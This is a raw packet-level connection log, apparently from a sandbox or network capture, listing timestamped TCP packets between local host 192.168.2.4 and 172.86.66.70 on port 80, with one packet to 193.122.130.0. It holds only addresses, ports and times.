Sep 26, 2024 12:12:21.642750978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642792940 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642792940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642808914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642893076 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642906904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642931938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.642934084 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.642960072 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.643481970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643496990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643520117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643533945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643546104 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.643548965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643563032 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.643601894 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.643981934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.643996954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644021988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644046068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.644073963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644088984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644104004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644128084 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644129992 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.644155979 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.644186020 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644799948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644846916 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.644860983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644880056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644906044 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.644963026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644979954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.644987106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645003080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645029068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.645065069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645165920 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.645756006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645771027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645792961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645813942 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.645853996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645869970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645884991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645900011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645900965 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.645925999 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.645950079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.645993948 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.646640062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.682498932 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.682507992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.682527065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.682559013 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.682657957 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.699258089 CEST	49752	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:21.729830980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.729989052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730005980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730026960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730036974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730060101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730067968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730082035 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730082035 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730082989 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730091095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730099916 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730107069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730123043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730125904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730125904 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730132103 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730135918 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730151892 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730159044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730159044 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730174065 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730174065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730186939 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730201960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730207920 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730210066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730216980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730218887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730226994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730233908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730242014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730252028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730261087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730266094 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730320930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730328083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730344057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730346918 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730346918 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730353117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730460882 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730460882 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730494022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730509043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730524063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730532885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730560064 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730598927 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.730971098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730978012 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.730994940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731045961 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731084108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731091976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731106997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731116056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731154919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731154919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731215000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731280088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731282949 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731288910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731304884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731379986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731398106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731406927 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731411934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.731456041 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.731921911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.732112885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.732171059 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.732280970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.732976913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.733134985 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.733309984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.733480930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.733560085 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.733628035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.733768940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.733819962 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734301090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734308958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734317064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734323978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734354973 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734379053 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734437943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734446049 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734496117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734627008 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734633923 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734648943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734656096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734663963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734685898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734693050 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734694958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734700918 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734709024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734724045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734730005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734730005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734731913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734740019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734747887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734755039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734764099 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734771967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.734797955 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734797955 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.734817028 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.769366980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769376993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769393921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769409895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769418955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769426107 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.769455910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.769478083 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.815753937 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815778017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815793991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815871000 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.815871000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815879107 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815895081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815937042 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.815968037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.815974951 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816028118 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816067934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816076994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816086054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816092968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816140890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816140890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816212893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816220999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816236019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816291094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816294909 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816298962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816329002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816369057 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816369057 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816390991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816401958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816462994 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816479921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816488981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816598892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816606998 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816615105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816631079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816664934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816721916 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816730022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816745043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816754103 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816775084 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816803932 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.816843987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816852093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816865921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.816952944 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817029953 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817059040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817068100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817178011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817184925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817200899 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817200899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817209959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817226887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817437887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817445993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817461967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817468882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817476988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817497015 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817498922 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817504883 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817519903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817528963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817545891 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817545891 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817673922 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.817696095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817703962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817718983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.817748070 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818037987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818046093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818063021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818098068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818098068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818145037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818152905 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818167925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818176031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818205118 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818217039 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818388939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818397045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818412066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818418980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818434954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818438053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818442106 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818444014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818449020 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818456888 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818487883 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818487883 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818656921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818665981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818681955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.818717957 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.818996906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819011927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819020987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819088936 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819108963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819117069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819132090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819140911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819178104 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819179058 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819236040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819252014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819334030 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819394112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819403887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819411039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819427967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819436073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819443941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819452047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819457054 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819457054 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819459915 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819468021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819475889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819493055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819493055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819509029 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.819840908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819911003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819919109 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.819986105 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.820024014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820031881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820039988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820048094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820091963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.820091963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.820266962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820276022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820283890 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820291996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820300102 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820307016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.820326090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.820358038 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.820358038 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.856888056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.856909037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.856924057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.856972933 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.857050896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.857059956 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.857091904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.857100010 CEST	80	49753	172.86.66.70	192.168.2.4
